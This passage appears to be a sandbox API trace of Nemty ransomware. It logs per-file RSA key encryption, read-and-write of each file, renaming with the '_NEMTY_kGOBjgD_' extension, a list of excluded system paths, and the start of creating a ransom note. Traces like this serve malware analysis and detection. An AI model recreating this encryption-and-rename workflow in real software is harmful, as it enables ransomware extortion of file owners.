0x4f9ecb8 [0176.777] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.777] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0176.777] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0176.777] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0176.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0176.777] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="9Wg5aCVrtrZgvQI7LS2rNjV2drFWZ1wCBzbHXEBCcF7brDDdcMMOTqSSvyYpqnAE\r\nrDESUZ1wFnBwWNy9k9OpNCNz2xIGMJeR+iAacaalDnc+sF5ZUckXJrK4kd+4Qd3O\r\nkrUZoZJFF/EkR/t55Duj9mLQb3ZQPdt6NdHqNj6pT1362ZT90HzE6GQCo9wDn/q/\r\n3dceL6bjZohHxgssDU/df7l2wHyTIbzSDk+8l/UkHGxd1eMEH48qrqpLTA5psc6/\r\n7Ah68EjnN50jPg1S9j1WdcQuxezkdvxVuhtGupzh1tgUkMNUczcgT/95kUmFU0TD\r\niVxMIB72u6OKPOm219t+Vg==\r\n", pcchString=0x653e5dc) returned 1 [0176.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0176.777] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.777] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0176.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0176.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0176.778] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Search.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\search.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0176.778] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=23040) returned 1 [0176.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x5a00) returned 0x6352c48 [0176.778] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.778] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x5a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x5a00, lpOverlapped=0x0) returned 1 [0176.781] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.781] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x5a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x5a00, lpOverlapped=0x0) returned 1 [0176.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0176.781] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=23040, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5a00 [0176.781] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0176.781] CloseHandle (hObject=0x2e8) returned 1 [0176.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0176.782] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.782] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.782] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0176.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0176.782] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0176.782] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.782] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Search.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\search.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Search.SUO._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\search.suo._nemty_kgobjgd_")) returned 1 [0176.782] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0176.782] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0176.782] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0176.782] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.782] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0176.782] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0176.782] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.782] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0176.782] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b7dfc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SendMail.SUO", cAlternateFileName="")) returned 1 [0176.782] lstrcmpiW (lpString1="SendMail.SUO", lpString2=".") returned 1 [0176.783] lstrcmpiW (lpString1="SendMail.SUO", lpString2="..") returned 1 [0176.783] lstrcmpiW (lpString1="SendMail.SUO", lpString2="...") returned 1 [0176.783] lstrcmpiW (lpString1="SendMail.SUO", lpString2="windows") returned -1 [0176.783] lstrcmpiW (lpString1="SendMail.SUO", lpString2="$RECYCLE.BIN") returned 1 [0176.783] lstrcmpiW (lpString1="SendMail.SUO", lpString2="rsa") returned 1 [0176.783] lstrcmpiW (lpString1="SendMail.SUO", lpString2="NTDETECT.COM") returned 1 [0176.783] lstrcmpiW (lpString1="SendMail.SUO", lpString2="ntldr") returned 1 [0176.783] lstrcmpiW (lpString1="SendMail.SUO", lpString2="MSDOS.SYS") returned 1 [0176.783] lstrcmpiW (lpString1="SendMail.SUO", lpString2="IO.SYS") returned 1 [0176.783] lstrcmpiW (lpString1="SendMail.SUO", lpString2="boot.ini") returned 1 [0176.783] lstrcmpiW (lpString1="SendMail.SUO", lpString2="boot.ini") returned 1 [0176.783] lstrcmpiW (lpString1="SendMail.SUO", lpString2="AUTOEXEC.BAT") returned 1 [0176.783] lstrcmpiW (lpString1="SendMail.SUO", lpString2="ntuser.dat") returned 1 [0176.783] lstrcmpiW (lpString1="SendMail.SUO", lpString2="desktop.ini") returned 1 [0176.783] lstrcmpiW (lpString1="SendMail.SUO", lpString2="CONFIG.SYS") returned 1 [0176.783] lstrcmpiW (lpString1="SendMail.SUO", lpString2="RECYCLER") returned 1 [0176.783] lstrcmpiW (lpString1="SendMail.SUO", lpString2="BOOTSECT.BAK") returned 1 [0176.783] lstrcmpiW (lpString1="SendMail.SUO", lpString2="bootmgr") returned 1 [0176.783] lstrcmpiW (lpString1="SendMail.SUO", lpString2="programdata") returned 1 [0176.783] lstrcmpiW (lpString1="SendMail.SUO", lpString2="appdata") returned 1 [0176.783] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.783] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.SUO", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0176.783] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.SUO", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.SUO", lpUsedDefaultChar=0x0) returned 12 [0176.783] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.783] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.SUO", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0176.783] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.SUO", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.SUO", lpUsedDefaultChar=0x0) returned 12 [0176.783] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.783] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.783] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.783] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.SUO", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0176.783] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.SUO", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.SUO", lpUsedDefaultChar=0x0) returned 12 [0176.783] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.783] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.784] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.SUO", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0176.784] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.SUO", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.SUO", lpUsedDefaultChar=0x0) returned 12 [0176.784] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0176.784] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0176.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0176.784] Sleep (dwMilliseconds=0x5) [0176.793] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d060390, dwHighDateTime=0x1d561e8)) [0176.793] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d060390, dwHighDateTime=0x1d561e8)) [0176.793] GetLastError () returned 0x0 [0176.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.793] GetLastError () returned 0x0 [0176.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.793] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.793] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0176.793] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0176.793] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0176.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0176.793] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="IDZ/DZIy9MF7/g2XTdcfDMV5M3Xg+V8NMagkeoiCS+wvL1GNDzH/XaLijAaLexX5\r\nJApM7ObrB187mSEaNMRBdQpDk+98uWWB+qit/9z1bdeVPappdHwsXi6jJGUPG/pN\r\nFXrpdaDtRsYJx1ktQy9irdn0XTWdarLQ0d1LKvIIf3BZiNltDv+oAmPT1nrC4f6P\r\nKA4OWDgKIHUH6qogocR46GKB64fGY7176nPx9RrTExO5EsdyNdn/Mub6NjFAJu4d\r\nO0aXVCm/kfgcImyHKQqUjLeouAd5HHIvZWjrSwDVtJBPO3soOypw+2cqoPCz2KKK\r\nl9CB14SvG5VG1SPpQvxElg==\r\n", pcchString=0x653e5dc) returned 1 [0176.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0176.793] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.793] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0176.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0176.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0176.793] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\SendMail.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\sendmail.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0176.794] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=15360) returned 1 [0176.794] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x3c00) returned 0x6352c48 [0176.794] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.794] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x3c00, lpOverlapped=0x0) returned 1 [0176.796] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.796] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x3c00, lpOverlapped=0x0) returned 1 [0176.797] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0176.797] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=15360, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3c00 [0176.797] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0176.797] CloseHandle (hObject=0x2e8) returned 1 [0176.797] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0176.797] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.797] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.797] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.797] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.797] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.797] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0176.797] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0176.797] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0176.797] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.797] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\SendMail.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\sendmail.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\SendMail.SUO._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\sendmail.suo._nemty_kgobjgd_")) returned 1 [0176.798] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0176.798] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0176.798] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0176.798] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.798] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0176.798] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0176.798] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.798] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.798] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Services", cAlternateFileName="")) returned 1 [0176.798] lstrcmpiW (lpString1="Services", lpString2=".") returned 1 [0176.798] lstrcmpiW (lpString1="Services", lpString2="..") returned 1 [0176.798] lstrcmpiW (lpString1="Services", lpString2="...") returned 1 [0176.798] lstrcmpiW (lpString1="Services", lpString2="windows") returned -1 [0176.798] lstrcmpiW (lpString1="Services", lpString2="$RECYCLE.BIN") returned 1 [0176.798] lstrcmpiW (lpString1="Services", lpString2="rsa") returned 1 [0176.798] lstrcmpiW (lpString1="Services", lpString2="NTDETECT.COM") returned 1 [0176.798] lstrcmpiW (lpString1="Services", lpString2="ntldr") returned 1 [0176.798] lstrcmpiW (lpString1="Services", lpString2="MSDOS.SYS") returned 1 [0176.798] lstrcmpiW (lpString1="Services", lpString2="IO.SYS") returned 1 [0176.798] lstrcmpiW (lpString1="Services", lpString2="boot.ini") returned 1 [0176.798] lstrcmpiW (lpString1="Services", lpString2="boot.ini") returned 1 [0176.798] lstrcmpiW (lpString1="Services", lpString2="AUTOEXEC.BAT") returned 1 [0176.798] lstrcmpiW (lpString1="Services", lpString2="ntuser.dat") returned 1 [0176.798] lstrcmpiW (lpString1="Services", lpString2="desktop.ini") returned 1 [0176.798] lstrcmpiW (lpString1="Services", lpString2="CONFIG.SYS") returned 1 [0176.798] lstrcmpiW (lpString1="Services", lpString2="RECYCLER") returned 1 [0176.798] lstrcmpiW (lpString1="Services", lpString2="BOOTSECT.BAK") returned 1 [0176.798] lstrcmpiW (lpString1="Services", lpString2="bootmgr") returned 1 [0176.798] lstrcmpiW (lpString1="Services", lpString2="programdata") returned 1 [0176.798] lstrcmpiW (lpString1="Services", lpString2="appdata") returned 1 [0176.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.799] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.799] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services", lpUsedDefaultChar=0x0) returned 8 [0176.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.799] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.799] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services", lpUsedDefaultChar=0x0) returned 8 [0176.799] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.799] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0176.799] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0176.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0176.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0176.799] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.799] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.799] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0176.799] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0176.799] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0176.799] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Services\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\services\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 